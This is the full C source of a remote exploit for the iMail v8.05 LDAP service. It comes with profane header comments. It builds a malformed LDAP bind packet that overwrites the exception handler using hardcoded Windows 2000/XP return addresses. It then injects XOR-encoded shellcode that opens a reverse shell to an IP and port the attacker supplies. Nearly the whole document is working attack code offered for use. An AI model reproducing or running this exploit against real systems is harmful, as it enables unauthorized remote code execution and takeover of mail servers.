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- /******************************************************************/
- /* [Crpt] iMail v8.05 LDAP service remote sploit by kralor [Crpt] */
- /******************************************************************/
- /* fuck iDefense */
- /* fuck k-otik */
- /* fuck private exploits */
- /* in other words, fuck you all security money makers and */
- /* private exploits exchangers. */
- /* lolo xXx for her patience while these long nights coding */
- /* and for errr.. you know what :) */
- /******************************************************************/
- /* informations: www.coromputer.net,irc undernet #coromputer */
- /******************************************************************/
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <windows.h>
- #include <winsock.h>
-
- #pragma comment (lib,"ws2_32")
-
- // EBP+~0xB6 (ebp+ecx-4) (Structed Exception Handler)
- #define SEH_ADDR 0x50FFFFFF
-
- /* for win2k offset:
- --- jmp dword ptr [ebx]
- */
- #define HIJACKED_2K_EVL 0x0043BD8B // (8.05 eval)
- #define HIJACKED_2K_EXP 0x1000F7B0 // (8.05 express)
- #define HIJACKED_2K_PRO 0x1000F7A9 // (8.05 pro (not sure :)))
-
- /* for winXP offset:
- --- pop esi
- --- pop ebx
- --- ret
- */
-
- #define HIJACKED_XP_EVL 0x0041F5C7 // (8.05 eval)
- #define HIJACKED_XP_EXP 0x100106BC // (8.05 express)
- #define HIJACKED_XP_PRO 0x100103CC // (8.05 pro) (not sure :)))
-
- // sequence of 4 opcodes
- #define HOP 0xd4 // host opcode
- #define POP 0xd7 // port opcode
-
- int cnx(char *host, int port)
- {
- int sock;
- struct sockaddr_in yeah;
- struct hostent *she;
-
- sock=socket(AF_INET,SOCK_STREAM,0);
- if(!sock) {
- printf("error: unable to create socket\r\n");
- return 0;
- }
- yeah.sin_family=AF_INET;
- yeah.sin_addr.s_addr=inet_addr(host);
- yeah.sin_port=htons((u_short)port);
-
- if((she=gethostbyname(host))!=NULL) {
- memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
- } else {
- if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
- printf("error: cannot resolve host\r\n");
- return 0;
- }
- }
- printf("[+] Connecting to %-30s ...",host);
- if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
- printf("error: connection refused\r\n");
- return 0;
- }
- printf("Done\r\n");
- return sock;
- }
-
- void banner(void)
- {
- printf("\r\n [Crpt] iMail LDAP service v3.12.10.3/v8.05 remote sploit by kralor [Crpt]\r\n");
- printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
- return;
- }
-
- void syntax(char *prog)
- {
- printf("\r\nsyntax: %s <host> <your_ip> <your_port> <version> [OSver]\r\n\r\n",prog);
- printf("<version>\t0\t8.05 professional\r\n");
- printf(" \t1\t8.05 express\r\n");
- printf(" \t2\t8.05 evaluation\r\n---\r\n");
- printf("[OSver] \t0\twindows 2000 universal [default]\r\n");
- printf(" \t1\twindows XP universal\r\n");
- exit(0);
- }
-
-
-
- int main(int argc, char *argv[])
- {
- int sock,bytes,target,osver=0;
- WSADATA wsaData;
- char buffer[8095];
- unsigned long host,port;
- unsigned int i;
- char req1[] =
- "\x30\x82" /* bind request */
- "\x0a\x3d" /* bind req len */
- /* msg id */
- "\x02" /* integer */
- "\x01" /* length */
- "\x01" /* value */
- "\x60" /* bind request */
- "\x82" /* msg length 2bytes */
- "\x01\x36" /* msg length */
- /* LDAP ver */
- "\x02" /* integer */
- "\xff" /* length */
- "\x03" /* value */
- "\x05\x00" /* DN NULL */
- "\x80\x00"; /* Auth simple */
-
- char shellc0de[] = /* sizeof(shellc0de+xorer) == 334 bytes */
- /* classic xorer */
- "\x90"
- "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
- "\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
- /* reverse remote shell */
- "\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
- "\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
- "\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
- "\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
- "\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
- "\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
- "\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
- "\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
- "\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
- "\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
- "\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
- "\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
- "\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
- "\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
- "\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
- "\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
- "\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
- "\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
- "\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
- "\x57\x91\x95";
-
- banner();
-
- if(argc<5||argc>6)
- syntax(argv[0]);
-
- host=inet_addr(argv[2])^0x95959595;
- port=atoi(argv[3]);
-
- if(!isdigit(argv[4][0])||strlen(argv[4])>1) {
- printf("error: <version> must be one digit\r\n");
- syntax(argv[0]);
- return -1;
- }
- target=atoi(argv[4]);
- if(target<0||target>2) {
- printf("error: <version> must be 0, 1 or 2\r\n");
- syntax(argv[0]);
- return -1;
- }
- if(argc==6) {
- if(!isdigit(argv[5][0])||strlen(argv[5])>1) {
- printf("error: [OSver] must be one digit\r\n");
- syntax(argv[0]);
- return -1;
- }
- osver=atoi(argv[5]);
- if(osver<0||osver>1) {
- printf("error: [OSver] must be 0 or 1\r\n");
- syntax(argv[0]);
- return -1;
- }
- }
- if(port<=0||port>65535) {
- printf("error: <port> must be between 1 and 65535\r\n");
- syntax(argv[0]);
- return -1;
- }
- port=htons((unsigned short)port);
- port=port<<16;
- port+=0x0002;
- port=port^0x95959595;
-
- for(i=0;i<sizeof(shellc0de);i++) {
- if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
- if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
- memcpy(&shellc0de[i],&host,4);
- host=0;
- }
- if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
- if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
- memcpy(&shellc0de[i],&port,4);
- port=0;
- }
- }
-
- if(host||port) {
- printf("error: unabled to find ip/port sequence in shellc0de\r\n");
- return -1;
- }
-
- if(WSAStartup(0x0101,&wsaData)!=0) {
- printf("error: unable to load winsock\r\n");
- return -1;
- }
-
- sock=cnx(argv[1],389);
- if(!sock)
- return -1;
- /* <----- magic packet -----> */
- strncpy(buffer,req1,13);
- memset(&buffer[13],0x90,7010);
- *(unsigned long*)&buffer[13] = SEH_ADDR;
- if(!osver) {
- if(!target)
- *(unsigned long*)&buffer[17] = HIJACKED_2K_PRO;
- else if(target==1)
- *(unsigned long*)&buffer[17] = HIJACKED_2K_EXP;
- else
- *(unsigned long*)&buffer[17] = HIJACKED_2K_EVL;
- } else {
- if(!target)
- *(unsigned long*)&buffer[17] = HIJACKED_XP_PRO;
- else if(target==1)
- *(unsigned long*)&buffer[17] = HIJACKED_XP_EXP;
- else
- *(unsigned long*)&buffer[17] = HIJACKED_XP_EVL;
- }
- *(unsigned long*)&buffer[21] = 0x90909013; // to avoid 0x00 <unwanted instructions> on winXP
- memcpy(&buffer[200],shellc0de,sizeof(shellc0de)-1);
- memcpy(&buffer[7000+23],&req1[10],4);
- printf("[+] Sending magic packet ...");
- bytes=send(sock,buffer,sizeof(buffer)-1,0);
- printf("Done\r\n");
- if(bytes==0) { printf("error: send()\r\n"); }
- closesocket(sock);
- return 0;
- }
-